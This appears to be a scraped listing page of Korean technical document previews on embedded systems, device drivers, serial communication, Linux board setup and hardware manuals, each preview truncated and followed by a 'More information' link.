<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D> 뻔뻔한 AVR 프로그래밍 The Last(8 th ) Lecture 유명환 ( yoo@netplug.co.kr) INDEX 1 I 2 C 통신이야기 2 ATmega128 TWI(I 2 C) 구조분석 4 ATmega128 TWI(I 2 C) 실습 : AT24C16 1 I 2 C 통신이야기 I 2 C Inter IC Bus 어떤 IC들간에도공통적으로통할수있는 ex)

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Text-LCD Device Control - Device driver Jo, Heeseung M3 모듈에장착되어있는 Tedxt LCD 장치를제어하는 App 을개발 TextLCD 는영문자와숫자일본어, 특수문자를표현하는데사용되는디바이스 HBE-SM5-S4210 의 TextLCD 는 16 문자 *2 라인을 Display 할수있으며, 이 TextLCD 를제어하기위하여

More information

슬라이드 1

슬라이드 1 / 유닉스시스템개요 / 파일 / 프로세스 01 File Descriptor file file descriptor file type unix 에서의파일은단지바이트들의나열임 operating system 은파일에어떤포맷도부과하지않음 파일의내용은바이트단위로주소를줄수있음 file descriptor 는 0 이나양수임 file 은 open 이나 creat 로 file

More information

CANTUS Evaluation Board Ap. Note

CANTUS Evaluation Board Ap. Note Preliminary CANTUS - UART - 32bits EISC Microprocessor CANTUS Ver 1. October 8, 29 Advanced Digital Chips Inc. Ver 1. PRELIMINARY CANTUS Application Note( EVM B d ) History 29-1-8 Created Preliminary Specification

More information

MAX+plus II Getting Started - 무작정따라하기

MAX+plus II Getting Started - 무작정따라하기 무작정 따라하기 2001 10 4 / Version 20-2 0 MAX+plus II Digital, Schematic Capture MAX+plus II, IC, CPLD FPGA (Logic) ALTERA PLD FLEX10K Series EPF10K10QC208-4 MAX+plus II Project, Schematic, Design Compilation,

More information

untitled

untitled Step Motor Device Driver Embedded System Lab. II Step Motor Step Motor Step Motor source Embedded System Lab. II 2 open loop, : : Pulse, 1 Pulse,, -, 1 +5%, step Step Motor (2),, Embedded System Lab. II

More information

CPX-E-EC_BES_C_ _ k1

CPX-E-EC_BES_C_ _ k1 CPX-E CPX-E-EC EtherCAT 8071155 2017-07 [8075310] CPX-E-EC CPX-E-EC-KO EtherCAT, TwinCAT (). :, 2 Festo CPX-E-EC-KO 2017-07 CPX-E-EC 1... 4 1.1... 4 1.2... 4 1.3... 4 1.4... 5 1.5... 5 2... 6 2.1... 6

More information

휠세미나3 ver0.4

휠세미나3 ver0.4 andromeda@sparcs:/$ ls -al dev/sda* brw-rw---- 1 root disk 8, 0 2014-06-09 18:43 dev/sda brw-rw---- 1 root disk 8, 1 2014-06-09 18:43 dev/sda1 brw-rw---- 1 root disk 8, 2 2014-06-09 18:43 dev/sda2 andromeda@sparcs:/$

More information

1217 WebTrafMon II

1217 WebTrafMon II (1/28) (2/28) (10 Mbps ) Video, Audio. (3/28) 10 ~ 15 ( : telnet, ftp ),, (4/28) UDP/TCP (5/28) centralized environment packet header information analysis network traffic data, capture presentation network

More information

CAN-fly Quick Manual

CAN-fly Quick Manual adc-171 Manual Ver.1.0 2011.07.01 www.adc.co.kr 2 contents Contents 1. adc-171(rn-171 Pack) 개요 2. RN-171 Feature 3. adc-171 Connector 4. adc-171 Dimension 5. Schematic 6. Bill Of Materials 7. References

More information

임베디드시스템설계강의자료 4 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 4 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 4 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 Outline n n n n n n 보드개요보드연결필수패키지, Tool-Chain 설치 Kernel, file system build Fastboot 및 Tera Term설치 Kernel, file system 이미지전송및설치 - 2 - Young-Jin Kim X-Hyper320TKU

More information

VZ94-한글매뉴얼

VZ94-한글매뉴얼 KOREAN / KOREAN VZ9-4 #1 #2 #3 IR #4 #5 #6 #7 ( ) #8 #9 #10 #11 IR ( ) #12 #13 IR ( ) #14 ( ) #15 #16 #17 (#6) #18 HDMI #19 RGB #20 HDMI-1 #21 HDMI-2 #22 #23 #24 USB (WLAN ) #25 USB ( ) #26 USB ( ) #27

More information

untitled

untitled CAN BUS RS232 Line Ethernet CAN H/W FIFO RS232 FIFO IP ARP CAN S/W FIFO TERMINAL Emulator COMMAND Interpreter ICMP TCP UDP PROTOCOL Converter TELNET DHCP C2E SW1 CAN RS232 RJ45 Power

More information

untitled

untitled EZ-TFT700(T) : EZ-TFT700(T) : Rev.000 Rev No. Page 2007/08/03 Rev.000 Rev.000. 2007/12/12 Rev.001 1.6 Allstech,,. EZ-TFT700(T). Allstech EZ-TFT700(T),,. EZ-TFT700(T) Allstech. < > EZ-TFT Information(13h)

More information

KEY 디바이스 드라이버

KEY 디바이스 드라이버 KEY 디바이스드라이버 임베디드시스템소프트웨어 I (http://et.smu.ac.kr et.smu.ac.kr) 차례 GPIO 및 Control Registers KEY 하드웨어구성 KEY Driver 프로그램 key-driver.c 시험응용프로그램 key-app.c KEY 디바이스드라이버 11-2 GPIO(General-Purpose Purpose I/O)

More information

BY-FDP-4-70.hwp

BY-FDP-4-70.hwp RS-232, RS485 FND Display Module BY-FDP-4-70-XX (Rev 1.0) - 1 - 1. 개요. 본 Display Module은 RS-232, RS-485 겸용입니다. Power : DC24V, DC12V( 주문사양). Max Current : 0.6A 숫자크기 : 58mm(FND Size : 70x47mm 4 개) RS-232,

More information

untitled

untitled Embedded System Lab. II Embedded System Lab. II 2 RTOS Hard Real-Time vs Soft Real-Time RTOS Real-Time, Real-Time RTOS General purpose system OS H/W RTOS H/W task Hard Real-Time Real-Time System, Hard

More information

Sena Technologies, Inc. HelloDevice Super 1.1.0

Sena Technologies, Inc. HelloDevice Super 1.1.0 HelloDevice Super 110 Copyright 1998-2005, All rights reserved HelloDevice 210 ()137-130 Tel: (02) 573-5422 Fax: (02) 573-7710 E-Mail: support@senacom Website: http://wwwsenacom Revision history Revision

More information

망고100 보드로 놀아보자-4

망고100 보드로 놀아보자-4 망고 100 보드로놀아보자 -4 Minicom,tftp,nfs 설정,vnc 설정 minicom 설정 Minicom 설정 >#yum install minicom >#ls /dev/ttyusb* ># minicom s Minicom 설정 Serial Device :/dev/ttyusb0 Baudrate:115200 Hardware Flow control: NO

More information

K7VT2_QIG_v3

K7VT2_QIG_v3 1......... 2 3..\ 4 5 [R] : Enter Raid setup utility 6 Press[A]keytocreateRAID RAID Type: JBOD RAID 0 RAID 1: 2 7 " RAID 0 Auto Create Manual Create: 2 RAID 0 Block Size: 16K 32K

More information

목차 1. 개요... 3 2. USB 드라이버 설치 (FTDI DRIVER)... 4 2-1. FTDI DRIVER 실행파일... 4 2-2. USB 드라이버 확인방법... 5 3. DEVICE-PROGRAMMER 설치... 7 3-1. DEVICE-PROGRAMMER

목차 1. 개요... 3 2. USB 드라이버 설치 (FTDI DRIVER)... 4 2-1. FTDI DRIVER 실행파일... 4 2-2. USB 드라이버 확인방법... 5 3. DEVICE-PROGRAMMER 설치... 7 3-1. DEVICE-PROGRAMMER < Tool s Guide > 목차 1. 개요... 3 2. USB 드라이버 설치 (FTDI DRIVER)... 4 2-1. FTDI DRIVER 실행파일... 4 2-2. USB 드라이버 확인방법... 5 3. DEVICE-PROGRAMMER 설치... 7 3-1. DEVICE-PROGRAMMER 실행파일... 7 4. DEVICE-PROGRAMMER 사용하기...

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

슬라이드 제목 없음

슬라이드 제목 없음 ETOS-DPS-X Guide AC&T SYSTEM 1 ETOS-DPS-X 개요 ETOS-DPS-X Field Bus Network 중 Profibus-DP Network 에연결되는장비. ProfiBus-DP Network 시스템에 DP 통신을지원하지않는현장장비에대한통신서버기능구현. Profibus-DP Slave 동작하기때문에반드시 DP-Master 모듈이있는시스템에서적용가능.

More information

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

Microsoft Word - FS_ZigBee_Manual_V1.3.docx FirmSYS Zigbee etworks Kit User Manual FS-ZK500 Rev. 2008/05 Page 1 of 26 Version 1.3 목 차 1. 제품구성... 3 2. 개요... 4 3. 네트워크 설명... 5 4. 호스트/노드 설명... 6 네트워크 구성... 6 5. 모바일 태그 설명... 8 6. 프로토콜 설명... 9 프로토콜 목록...

More information

OPCTalk for Hitachi Ethernet 1 2. Path. DCOMwindow NT/2000 network server. Winsock update win95. . . 3 Excel CSV. Update Background Thread Client Command Queue Size Client Dynamic Scan Block Block

More information

인켈(국문)pdf.pdf

인켈(국문)pdf.pdf M F - 2 5 0 Portable Digital Music Player FM PRESET STEREOMONO FM FM FM FM EQ PC Install Disc MP3/FM Program U S B P C Firmware Upgrade General Repeat Mode FM Band Sleep Time Power Off Time Resume Load

More information

Mango-IMX6Q mfgtool을 이용한 이미지 Write하기

Mango-IMX6Q mfgtool을 이용한 이미지 Write하기 Mango-IMX6Q mfgtool 을 이용한이미지 Write 하기 http://www.mangoboard.com/ http://cafe.naver.com/embeddedcrazyboys Crazy Embedded Laboratory www.mangoboard.com cafe.naver.com/embeddedcrazyboys CRZ Technology 1 Document

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

Microsoft PowerPoint - ch07.ppt

Microsoft PowerPoint - ch07.ppt chapter 07. 시스코라우터기본동작 한빛미디어 -1- 학습목표 시스코라우터외적, 내적구성요소 시스코라우터부팅단계 시스코라우터명령어모드 한빛미디어 -2- 시스코라우터구성요소 라우터외부구성요소 (1) [ 그림 ] 2600 라우터전면도 인터페이스카드 전원부 LED 라우터조건 한빛미디어 -3- 시스코라우터구성요소 라우터외부구성요소 (2) [ 그림 ] VTY 를이용한라우터접속

More information

LCD Monitor

LCD Monitor LCD MONITOR quick start guide 400FP-2 460FP-2 400FPn-2 460FPn-2 ii Floor standing type) Note LCD Display MagicInfo Software CD MagicInfo Manual CD (FPn-2.) (AAA X 2) (FPn-2.) BNC to RCA (46.) D-Sub DVI

More information

BJFHOMINQJPS.hwp

BJFHOMINQJPS.hwp 제1 과목 : 디지털 전자회로 1. 다음 회로의 출력전류 Ic 의 안정에 대한 설명 중 옳지 않은 것 Ie를 크게 해치지 않는 범위 내에서 Re 가 크면 클수록 좋 출력파형이 크게 일그러지지 않는 범위 내에서 β 가 크면 클수록 좋 게르마늄 트랜지스터에서 Ico가 Ic 의 안정에 가장 큰 영향을 준 Rc는 Ic 의 안정에 큰 영향을 준 6. 비동기식 모드 (mode)-13

More information

untitled

untitled 1... 2 System... 3... 3.1... 3.2... 3.3... 4... 4.1... 5... 5.1... 5.2... 5.2.1... 5.3... 5.3.1 Modbus-TCP... 5.3.2 Modbus-RTU... 5.3.3 LS485... 5.4... 5.5... 5.5.1... 5.5.2... 5.6... 5.6.1... 5.6.2...

More information

1. GigE Camera Interface를 위한 최소 PC 사양 CPU : Intel Core 2 Duo, 2.4GHz이상 RAM : 2GB 이상 LANcard : Intel PRO/1000xT 이상 VGA : PCI x 16, VRAM DDR2 RAM 256MB

1. GigE Camera Interface를 위한 최소 PC 사양 CPU : Intel Core 2 Duo, 2.4GHz이상 RAM : 2GB 이상 LANcard : Intel PRO/1000xT 이상 VGA : PCI x 16, VRAM DDR2 RAM 256MB Revision 1.0 Date 11th Nov. 2013 Description Established. Page Page 1 of 9 1. GigE Camera Interface를 위한 최소 PC 사양 CPU : Intel Core 2 Duo, 2.4GHz이상 RAM : 2GB 이상 LANcard : Intel PRO/1000xT 이상 VGA : PCI x

More information

歯FDA6000COP.PDF

歯FDA6000COP.PDF OPERATION MANUAL AC Servo Drive FDA6000COP [OPERATION UNIT] Ver 1.0 (Soft. Ver. 8.00 ~) FDA6000C Series Servo Drive OTIS LG 1. 1.1 OPERATION UNIT FDA6000COP. UNIT, FDA6000COP,,,. 1.1.1 UP DOWN ENTER 1.1.2

More information

歯메뉴얼v2.04.doc

歯메뉴얼v2.04.doc 1 SV - ih.. 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 - - - 23 24 R S T G U V W P1 P2 N R S T G U V W P1 P2 N R S T G U V W P1 P2 N 25 26 DC REACTOR(OPTION) DB UNIT(OPTION) 3 φ 220/440 V 50/60

More information

CPX-E-SYS_BES_C_ _ k1

CPX-E-SYS_BES_C_ _ k1 CPX-E 8727 27-7 [875294] CPX-E-SYS-KO CODESYS, PI PROFIBUS PROFINET (). :, 2 Festo CPX-E-SYS-KO 27-7 ... 5.... 5.2... 5.3... 5.4... 5.5... 5 2... 6 2.... 6 2..... 6 2..2 CPX-E... 7 2..3 CPX-E... 9 2..4...

More information

MPLAB C18 C

MPLAB C18 C MPLAB C18 C MPLAB C18 MPLAB C18 C MPLAB C18 C #define START, c:\mcc18 errorlevel{0 1} char isascii(char ch); list[list_optioin,list_option] OK, Cancel , MPLAB IDE User s Guide MPLAB C18 C

More information

제품소개 MODBUS Tester 는 MODBUS 프로토콜을사용하는산업장비테스트및점검하기위해 PC 를휴대및설치할필요없이쉽고빠르게장비와연결하여원하는작업을진행할수있도록휴대성을강조한 MODBUS 프로토콜테스트장치입니다. MODBUS Tester 에는 3 가지의기능이지원되며,

제품소개 MODBUS Tester 는 MODBUS 프로토콜을사용하는산업장비테스트및점검하기위해 PC 를휴대및설치할필요없이쉽고빠르게장비와연결하여원하는작업을진행할수있도록휴대성을강조한 MODBUS 프로토콜테스트장치입니다. MODBUS Tester 에는 3 가지의기능이지원되며, MODBUS Tester ( 사용자메뉴얼 ) RealSYS V1.02 1 제품소개 MODBUS Tester 는 MODBUS 프로토콜을사용하는산업장비테스트및점검하기위해 PC 를휴대및설치할필요없이쉽고빠르게장비와연결하여원하는작업을진행할수있도록휴대성을강조한 MODBUS 프로토콜테스트장치입니다. MODBUS Tester 에는 3 가지의기능이지원되며, Master 모드기능을통해각종장비의데이터정보를읽어오거나제어및데이터쓰기를할수있으며,

More information

Mango24R2 Auto Write

Mango24R2 Auto Write Mango24R2 Auto Write http://www.mangoboard.com/ http://cafe.naver.com/embeddedcrazyboys Crazy Embedded Laboratory www.mangoboard.com cafe.naver.com/embeddedcrazyboys CRZ Technology 1 Document History Revision

More information

Microsoft PowerPoint - es-arduino-lecture-03

Microsoft PowerPoint - es-arduino-lecture-03 임베디드시스템개론 : Arduino 활용 Lecture #3: Button Input & FND Control 2012. 3. 25 by 김영주 강의목차 디지털입력 Button switch 입력 Button Debounce 7-Segment FND : 직접제어 7-Segment FND : IC 제어 2 디지털입력 : Switch 입력 (1) 실습목표 아두이노디지털입력처리실습

More information

ez-md+_manual01

ez-md+_manual01 ez-md+ HDMI/SDI Cross Converter with Audio Mux/Demux Operation manual REVISION NUMBER: 1.0.0 DISTRIBUTION DATE: NOVEMBER. 2018 저작권 알림 Copyright 2006~2018 LUMANTEK Co., Ltd. All Rights Reserved 루먼텍 사에서

More information

[8051] 강의자료.PDF

[8051] 강의자료.PDF CY AC F0 RS1 RS0 OV - P 0xFF 0x80 0x7F 0x30 0x2F 0x20 0x1F 0x18 0x17 0x10 0x0F 0x08 0x07 0x00 0x0000 0x0FFF 0x1000 0xFFFF 0x0000 0xFFFF RAM SFR SMOD - - - GF1 GF0 PD IDL 31 19 18 9 12 13 14 15 1 2 3 4

More information

DSP_MON 프로그램 메뉴얼

DSP_MON 프로그램 메뉴얼 UART_CAN Analyzer 윈도우 프로그램 사용자 메뉴얼 리얼시스 TEL : 031-420-4326 FAX : 031-420-4329 주소 : 경기도 안양시 동안구 관양동 799 안양메가밸리 319호 - 1 - UART_CAN Analyzer 제품을 구입해 주셔서 감사합니다. 본 제품을 구입하신 고객께서는 먼저 사용 설명서를 잘 읽어 보시고 제품을 사용하여

More information

안전을 위한 주의사항 제품을 올바르게 사용하여 위험이나 재산상의 피해를 미리 막기 위한 내용이므로 반드시 지켜 주시기 바랍니다. 2 경고 설치 관련 지시사항을 위반했을 때 심각한 상해가 발생하거나 사망에 이를 가능성이 있는 경우 설치하기 전에 반드시 본 기기의 전원을

안전을 위한 주의사항 제품을 올바르게 사용하여 위험이나 재산상의 피해를 미리 막기 위한 내용이므로 반드시 지켜 주시기 바랍니다. 2 경고 설치 관련 지시사항을 위반했을 때 심각한 상해가 발생하거나 사망에 이를 가능성이 있는 경우 설치하기 전에 반드시 본 기기의 전원을 Digital Video Recorder 간편설명서 XD3316 안전을 위한 주의사항 제품을 올바르게 사용하여 위험이나 재산상의 피해를 미리 막기 위한 내용이므로 반드시 지켜 주시기 바랍니다. 2 경고 설치 관련 지시사항을 위반했을 때 심각한 상해가 발생하거나 사망에 이를 가능성이 있는 경우 설치하기 전에 반드시 본 기기의 전원을 차단하고, 전원 플러그를 동시에

More information

한글사용설명서

한글사용설명서 ph 2-Point (Probe) ph (Probe) ON/OFF ON ph ph ( BUFFER ) CAL CLEAR 1PT ph SELECT BUFFER ENTER, (Probe) CAL 1PT2PT (identify) SELECT BUFFER ENTER, (Probe), (Probe), ph (7pH)30 2 1 2 ph ph, ph 3, (,, ) ON

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 임베디드리눅스개발환경실습 Jo, Heeseung 타겟보드모니터링동작실습 호스트 PC 에서시리얼포트를통해서타겟보드를모니터링 타겟보드가프로그램을실행하는동안일어나는일을시리얼포트로메시지를출력하면호스트 PC 에서는시리얼포트를통해메시지를수신하여이를화면에출력 minicom 프로그램사용 - minicom 이정상적으로설정이되고, 타겟보드에최소한부트로더가올라간상태라면 minicom

More information

DE1-SoC Board

DE1-SoC Board 실습 1 개발환경 DE1-SoC Board Design Tools - Installation Download & Install Quartus Prime Lite Edition http://www.altera.com/ Quartus Prime (includes Nios II EDS) Nios II Embedded Design Suite (EDS) is automatically

More information

Microsoft Word _whitepaper_latency_throughput_v1.0.1_for_

Microsoft Word _whitepaper_latency_throughput_v1.0.1_for_ Sena Technologies 백서 : Latency/Throughput Test September 11, 2008 Copyright Sena Technologies, Inc 2008 All rights strictly reserved. No part of this document may not be reproduced or distributed without

More information

PowerPoint Presentation

PowerPoint Presentation Korea Tech Conference 2005 년 5 월 14 일, 서울 2005 년 5 월 14 일 CE Linux Forum Korea Tech Conference 1 Parallel port 를이용한가전제품 제어 임효준 LG 전자 imhyo@lge.com 2005 년 5 월 14 일 CE Linux Forum Korea Tech Conference 2

More information

CD-RW_Advanced.PDF

CD-RW_Advanced.PDF HP CD-Writer Program User Guide - - Ver. 2.0 HP CD-RW Adaptec Easy CD Creator Copier, Direct CD. HP CD-RW,. Easy CD Creator 3.5C, Direct CD 3.0., HP. HP CD-RW TEAM ( 02-3270-0803 ) < > 1. CD...3 CD...5

More information

Microsoft PowerPoint - polling.pptx

Microsoft PowerPoint - polling.pptx 지현석 (binish@home.cnu.ac.kr) http://binish.or.kr Index 이슈화된키보드해킹 최근키보드해킹이슈의배경지식 Interrupt VS polling What is polling? Polling pseudo code Polling 을이용한키로거분석 방어기법연구 이슈화된키보드해킹 키보드해킹은연일상한가! 주식, 펀드투자의시기?! 최근키보드해킹이슈의배경지식

More information

PRO1_09E [읽기 전용]

PRO1_09E [읽기 전용] Siemens AG 1999 All rights reserved File: PRO1_09E1 Information and - ( ) 2 3 4 5 Monitor/Modify Variables" 6 7 8 9 10 11 CPU 12 Stop 13 (Forcing) 14 (1) 15 (2) 16 : 17 : Stop 18 : 19 : (Forcing) 20 :

More information

C 프로그래밍 언어 입문 C 프로그래밍 언어 입문 김명호저 숭실대학교 출판국 머리말..... C, C++, Java, Fortran, Python, Ruby,.. C. C 1972. 40 C.. C. 1999 C99. C99. C. C. C., kmh ssu.ac.kr.. ,. 2013 12 Contents 1장 프로그래밍 시작 1.1 C 10 1.2 12

More information

MODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1

MODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1 SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 100) 1 Contents 1 INTRODUCTION 2 PROTOCOL FRAME OUTLINE 3 FUNCTION FIELD 4 DATA FIELD 5 CRC CHECK 6 FUNCTION EXAM 7 EXCEPTION RESPONSE 8 I/O STATUS

More information

LCD Monitor

LCD Monitor LCD MONITOR quick start guide 320TSn-2 ii Floor standing type) LCD Display D-Sub AAA X 2) 8 DVI KIT LAN TV Note TV MENU MENU] 9 ENTER ENTER] SOURCE SOURCE] [PC DVI HDMI MagicInfo] TV TV D.MENU D.MENU TV

More information

2005 2004 2003 2002 2001 2000 Security Surveillance Ubiquitous Infra Internet Infra Telematics Security Surveillance Telematics Internet Infra Solutions Camera Site (NETWORK) Monitoring & Control

More information

목차 1. 제품 소개... 4 1.1 특징... 4 1.2 개요... 4 1.3 Function table... 5 2. 기능 소개... 6 2.1 Copy... 6 2.2 Compare... 6 2.3 Copy & Compare... 6 2.4 Erase... 6 2

목차 1. 제품 소개... 4 1.1 특징... 4 1.2 개요... 4 1.3 Function table... 5 2. 기능 소개... 6 2.1 Copy... 6 2.2 Compare... 6 2.3 Copy & Compare... 6 2.4 Erase... 6 2 유영테크닉스( 주) 사용자 설명서 HDD014/034 IDE & SATA Hard Drive Duplicator 유 영 테 크 닉 스 ( 주) (032)670-7880 www.yooyoung-tech.com 목차 1. 제품 소개... 4 1.1 특징... 4 1.2 개요... 4 1.3 Function table... 5 2. 기능 소개... 6 2.1 Copy...

More information

하드웨어 해커가 되어보자!

하드웨어 해커가 되어보자! 하드웨어해커가되어보자! 정구홍 (mongii) GRAYHASH 수석연구원 cybermong@grayhash.com https://www.facebook.com/goohong.jung 발표자소개 보안커뮤니티해커스쿨운영자 정보보안업체 GRAYHASH 수석연구원 BoB 보안인재양성프로그램멘토 발표내용 다양한하드웨어해킹기술들을단계별로정리 하드웨어해킹공부방법소개 Hardware

More information

Solaris Express Developer Edition

Solaris Express Developer Edition Solaris Express Developer Edition : 2008 1 Solaris TM Express Developer Edition Solaris OS. Sun / Solaris, Java, Web 2.0,,. Developer Solaris Express Developer Edition System Requirements. 768MB. SPARC

More information

MicrocontrollerAcademy_Lab_ST_040709

MicrocontrollerAcademy_Lab_ST_040709 Micro-Controller Academy Program Lab Materials STMicroelectronics ST72F324J6B5 Seung Jun Sang Sa Ltd. Seung Jun Sang Sa Ltd. Seung Jun Sang Sa Ltd. Seung Jun Sang Sa Ltd. Seung Jun Sang Sa Ltd. Seung Jun

More information

Integ

Integ HP Integrity HP Chipset Itanium 2(Processor 9100) HP Integrity HP, Itanium. HP Integrity Blade BL860c HP Integrity Blade BL870c HP Integrity rx2660 HP Integrity rx3600 HP Integrity rx6600 2 HP Integrity

More information

USB 케이블만을이용한리눅스 NFS 개발환경 (VirtualBox) 최초작성 : 2010 년 10 월 21 일 작성자 : 김정현 수정내용 최초작성 by 김정현 스크립트추가, 설명보충 by 유형목 1. VritualBox

USB 케이블만을이용한리눅스 NFS 개발환경 (VirtualBox) 최초작성 : 2010 년 10 월 21 일 작성자 : 김정현 수정내용 최초작성 by 김정현 스크립트추가, 설명보충 by 유형목 1. VritualBox USB 케이블만을이용한리눅스 NFS 개발환경 (VirtualBox) 최초작성 : 2010 년 10 월 21 일 작성자 : 김정현 수정내용 2010. 10. 21. 최초작성 by 김정현 2010. 10. 24. 스크립트추가, 설명보충 by 유형목 1. VritualBox 설정 Windows 환경에서 VirtualBox 를설치한다음게스트 OS 로우분투리눅스를사용하는경우,

More information

Mango64R3 How to write Wince 6.0

Mango64R3 How to write  Wince 6.0 Mango64R3 How to write Wince 6.0 http://www.mangoboard.com/ http://cafe.naver.com/embeddedcrazyboys Crazy Embedded Laboratory www.mangoboard.com cafe.naver.com/embeddedcrazyboys CRZ Technology 1 Document

More information

Contents I. 칼라스 네트워크 플레이어란 1. Pc-Fi를 넘어서 발전한 차세대 음악 플레이어 ---------------- 4 2. 칼라스 네트워크 플레이어의 장점 3. 시스템 기본 구성 ------------------------ 6 -------------

Contents I. 칼라스 네트워크 플레이어란 1. Pc-Fi를 넘어서 발전한 차세대 음악 플레이어 ---------------- 4 2. 칼라스 네트워크 플레이어의 장점 3. 시스템 기본 구성 ------------------------ 6 ------------- [ CALLAS Network Player ] Owner s Manual ( 주 ) 금 잔 디 음 향 예.술.을.담.는.스.피.커.과.학 Contents I. 칼라스 네트워크 플레이어란 1. Pc-Fi를 넘어서 발전한 차세대 음악 플레이어 ---------------- 4 2. 칼라스 네트워크 플레이어의 장점 3. 시스템 기본 구성 ------------------------

More information

Orcad Capture 9.x

Orcad Capture 9.x OrCAD Capture Workbook (Ver 10.xx) 0 Capture 1 2 3 Capture for window 4.opj ( OrCAD Project file) Design file Programe link file..dsn (OrCAD Design file) Design file..olb (OrCAD Library file) file..upd

More information

슬라이드 1

슬라이드 1 사용 전에 사용자 주의 사항을 반드시 읽고 정확하게 지켜주시기 바랍니다. 사용설명서의 구성품 형상과 색상은 실제와 다를 수 있습니다. 사용설명서의 내용은 제품의 소프트웨어 버전이나 통신 사업자의 사정에 따라 다를 수 있습니다. 본 사용설명서는 저작권법에 의해 보호를 받고 있습니다. 본 사용설명서는 주식회사 블루버드소프트에서 제작한 것으로 편집 오류, 정보 누락

More information

LCD Display

LCD Display LCD Display SyncMaster 460DRn, 460DR VCR DVD DTV HDMI DVI to HDMI LAN USB (MDC: Multiple Display Control) PC. PC RS-232C. PC (Serial port) (Serial port) RS-232C.. > > Multiple Display

More information

/chroot/lib/ /chroot/etc/

/chroot/lib/ /chroot/etc/ 구축 환경 VirtualBox - Fedora 15 (kernel : 2.6.40.4-5.fc15.i686.PAE) 작동 원리 chroot유저 ssh 접속 -> 접속유저의 홈디렉토리 밑.ssh의 rc 파일 실행 -> daemonstart실행 -> daemon 작동 -> 접속 유저만의 Jail 디렉토리 생성 -> 접속 유저의.bashrc 의 chroot 명령어

More information

PowerChute Personal Edition v3.1.0 에이전트 사용 설명서

PowerChute Personal Edition v3.1.0 에이전트 사용 설명서 PowerChute Personal Edition v3.1.0 990-3772D-019 4/2019 Schneider Electric IT Corporation Schneider Electric IT Corporation.. Schneider Electric IT Corporation,,,.,. Schneider Electric IT Corporation..

More information

Getting Started 1 st Edition March 2004 Contents 1.EMPOS II QUICK START... 1 1.1. 1.2. 1.3. 1.4. 1.5. 1.6. 1.7. 1.8. 1.9....1...1...2 TextLcd...5 7 Segment...6 Led I/O...7 IP DEFAULT GATEWAY...8 WEB

More information

TEL:02)861-1175, FAX:02)861-1176 , REAL-TIME,, ( ) CUSTOMER. CUSTOMER REAL TIME CUSTOMER D/B RF HANDY TEMINAL RF, RF (AP-3020) : LAN-S (N-1000) : LAN (TCP/IP) RF (PPT-2740) : RF (,RF ) : (CL-201)

More information

MR-3000A-MAN.hwp

MR-3000A-MAN.hwp ITS Field Emulator for Traffic Local Controller [ MR-3000A ] User's Manual MORU Industrial Systems. www.moru.com - 1 - 1. 개요 MR-3000A는교통관제시스템에있어서현장용교통신호제어기의개발, 신호제어알고리즘의개발및검증, 교통신호제어기생산 LINE에서의자체검사수단등으로활용될수있도록개발된물리적모의시험장치이다.

More information

Microsoft Word doc

Microsoft Word doc 2. 디바이스드라이버 [ DIO ] 2.1. 개요 타겟보드의데이터버스를이용하여 LED 및스위치동작을제어하는방법을설명하겠다. 2.2. 회로도 2.3. 준비조건 ARM 용크로스컴파일러가설치되어있어야한다. 하드웨어적인점검을하여정상적인동작을한다고가정한다. NFS(Network File System) 를사용할경우에는 NFS가마운트되어있어야한다. 여기서는소스전문을포함하지않았다.

More information

Microsoft PowerPoint - 03-Development-Environment-2.ppt

Microsoft PowerPoint - 03-Development-Environment-2.ppt 개발환경 2 임베디드시스템소프트웨어 I 차례 부트로더의기능, 컴파일방법 커널의기능, 컴파일방법 파일시스템의기능, 생성방법 Host-KIT 네트워크연결방법 (Bootp, TFTP, NFS) 개발환경 2 2 부트로더의기능 하드웨어초기화 CPU clock, Memory Timing, Interrupt, UART, GPIO 등을초기화 커널로드 커널이미지를 flash

More information

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074> Chap #2 펌웨어작성을위한 C 언어 I http://www.smartdisplay.co.kr 강의계획 Chap1. 강의계획및디지털논리이론 Chap2. 펌웨어작성을위한 C 언어 I Chap3. 펌웨어작성을위한 C 언어 II Chap4. AT89S52 메모리구조 Chap5. SD-52 보드구성과코드메모리프로그래밍방법 Chap6. 어드레스디코딩 ( 매핑 ) 과어셈블리어코딩방법

More information

목차 제 1 장 inexio Touch Driver소개... 3 1.1 소개 및 주요 기능... 3 1.2 제품사양... 4 제 2 장 설치 및 실행... 5 2.1 설치 시 주의사항... 5 2.2 설치 권고 사양... 5 2.3 프로그램 설치... 6 2.4 하드웨

